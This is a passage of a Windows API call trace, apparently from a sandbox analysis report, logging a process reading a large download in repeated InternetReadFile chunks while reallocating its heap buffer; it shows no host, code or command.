	[0057.636] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x352ca) returned 0x118c5f8
	[0057.636] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11bf8c2, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11bf8c2*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.636] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.636] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x35556) returned 0x118c5f8
	[0057.636] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11c18c2, dwNumberOfBytesToRead=0x28c, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11c18c2*, lpdwNumberOfBytesRead=0xf3ce8c*=0x28c) returned 1
	[0057.636] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.692] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x35b0a) returned 0x118c5f8
	[0057.692] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11c1b4e, dwNumberOfBytesToRead=0x5b4, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11c1b4e*, lpdwNumberOfBytesRead=0xf3ce8c*=0x5b4) returned 1
	[0057.693] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.693] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x37b0a) returned 0x118c5f8
	[0057.693] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11c2102, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11c2102*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.693] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.693] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x39b0a) returned 0x118c5f8
	[0057.693] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11c4102, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11c4102*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.693] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.693] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x3bb0a) returned 0x118c5f8
	[0057.693] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11c6102, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11c6102*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.694] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.694] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x3db0a) returned 0x118c5f8
	[0057.694] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11c8102, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11c8102*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.694] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.694] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x3fb0a) returned 0x118c5f8
	[0057.694] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11ca102, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11ca102*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.694] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.695] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x41b0a) returned 0x118c5f8
	[0057.695] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11cc102, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11cc102*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.695] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.696] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x43b0a) returned 0x118c5f8
	[0057.696] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11ce102, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11ce102*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.696] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.696] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x45b0a) returned 0x118c5f8
	[0057.696] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11d0102, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11d0102*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.696] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.696] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x47b0a) returned 0x118c5f8
	[0057.696] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11d2102, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11d2102*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.696] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.697] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x49b0a) returned 0x118c5f8
	[0057.697] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11d4102, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11d4102*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.697] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.697] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x4bb0a) returned 0x118c5f8
	[0057.697] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11d6102, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11d6102*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.697] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.697] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x4db0a) returned 0x118c5f8
	[0057.697] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11d8102, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11d8102*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.697] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.698] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x4fb0a) returned 0x118c5f8
	[0057.698] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11da102, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11da102*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.698] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.698] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x51b0a) returned 0x118c5f8
	[0057.698] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11dc102, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11dc102*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.698] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.698] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x53b0a) returned 0x118c5f8
	[0057.698] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11de102, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11de102*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.698] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.698] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x55b0a) returned 0x118c5f8
	[0057.699] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11e0102, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11e0102*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.699] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.699] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x57b0a) returned 0x118c5f8
	[0057.699] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11e2102, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11e2102*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.699] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.699] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x59b0a) returned 0x118c5f8
	[0057.699] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11e4102, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11e4102*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.699] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.699] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x5bb0a) returned 0x118c5f8
	[0057.699] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11e6102, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11e6102*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.700] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.700] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x5db0a) returned 0x118c5f8
	[0057.700] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11e8102, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11e8102*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.700] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.700] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x5fb0a) returned 0x4530048
	[0057.706] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x458db52, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x458db52*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.706] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.707] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x4530048, Size=0x61b0a) returned 0x458fb60
	[0057.713] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x45ef66a, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x45ef66a*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.713] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.713] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x458fb60, Size=0x63b0a) returned 0x4630048
	[0057.724] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x4691b52, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x4691b52*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.724] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.724] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x4630048, Size=0x65b0a) returned 0x4530048
	[0057.730] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x4593b52, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x4593b52*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.730] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.730] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x4530048, Size=0x67b0a) returned 0x4595b60
	[0057.736] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x45fb66a, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x45fb66a*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.736] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.736] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x4595b60, Size=0x69b0a) returned 0x4630048
	[0057.744] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x4697b52, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x4697b52*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.744] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.744] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x4630048, Size=0x6bb0a) returned 0x4630048
	[0057.744] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x4699b52, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x4699b52*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.744] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.745] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x4630048, Size=0x6db0a) returned 0x4630048
	[0057.745] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x469bb52, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x469bb52*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.745] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.745] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x4630048, Size=0x6e5d6) returned 0x4630048
	[0057.745] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x469db52, dwNumberOfBytesToRead=0xacc, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x469db52*, lpdwNumberOfBytesRead=0xf3ce8c*=0xacc) returned 1
	[0057.745] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.866] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x4630048, Size=0x6eb8a) returned 0x4630048
	[0057.866] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x469e61e, dwNumberOfBytesToRead=0x5b4, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x469e61e*, lpdwNumberOfBytesRead=0xf3ce8c*=0x5b4) returned 1
	[0057.866] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.867] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x4630048, Size=0x70b8a) returned 0x4630048
	[0057.867] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x469ebd2, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x469ebd2*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.867] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.867] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x4630048, Size=0x72b8a) returned 0x4630048
	[0057.867] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x46a0bd2, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x46a0bd2*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.867] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.868] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x4630048, Size=0x74b8a) returned 0x4630048
	[0057.868] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x46a2bd2, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x46a2bd2*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.868] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.868] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x4630048, Size=0x76b8a) returned 0x4630048
	[0057.868] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x46a4bd2, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x46a4bd2*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.868] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.868] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x4630048, Size=0x78b8a) returned 0x4630048
	[0057.869] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x46a6bd2, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x46a6bd2*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.869] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.869] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x4630048, Size=0x7ab8a) returned 0x4630048
	[0057.869] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x46a8bd2, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x46a8bd2*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.869] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.869] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x4630048, Size=0x7cb8a) returned 0x4630048
	[0057.869] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x46aabd2, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x46aabd2*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.869] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.870] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x4630048, Size=0x7eb8a) returned 0x4630048
	[0057.870] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x46acbd2, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x46acbd2*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.870] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.871] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x4630048, Size=0x80b8a) returned 0x483c020
	[0057.884] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x48babaa, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x48babaa*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.884] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.884] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x483c020, Size=0x82b8a) returned 0x48c4020
	[0057.894] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x4944baa, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x4944baa*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.894] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.895] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x48c4020, Size=0x84b8a) returned 0x495e020
	[0057.904] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x49e0baa, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x49e0baa*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.904] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.904] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x495e020, Size=0x86b8a) returned 0x4838020
	[0057.919] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x48bcbaa, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x48bcbaa*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.920] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.920] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x4838020, Size=0x88b8a) returned 0x48cd020
	[0057.930] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x4953baa, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x4953baa*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.930] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.930] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x48cd020, Size=0x8ab8a) returned 0x496a020
	[0057.940] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x49f2baa, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x49f2baa*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.940] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.940] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x496a020, Size=0x8cb8a) returned 0x4835020
	[0057.950] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x48bfbaa, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x48bfbaa*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.950] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.950] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x4835020, Size=0x8eb8a) returned 0x48d1020
	[0057.965] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x495dbaa, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x495dbaa*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.966] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.966] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x48d1020, Size=0x90b8a) returned 0x4834020
	[0057.977] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x48c2baa, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x48c2baa*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.977] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.977] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x4834020, Size=0x92b8a) returned 0x48d8020
	[0057.987] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x4968baa, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x4968baa*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.987] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.988] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x48d8020, Size=0x94b8a) returned 0x497f020
	[0058.000] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x4a11baa, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x4a11baa*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0058.001] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
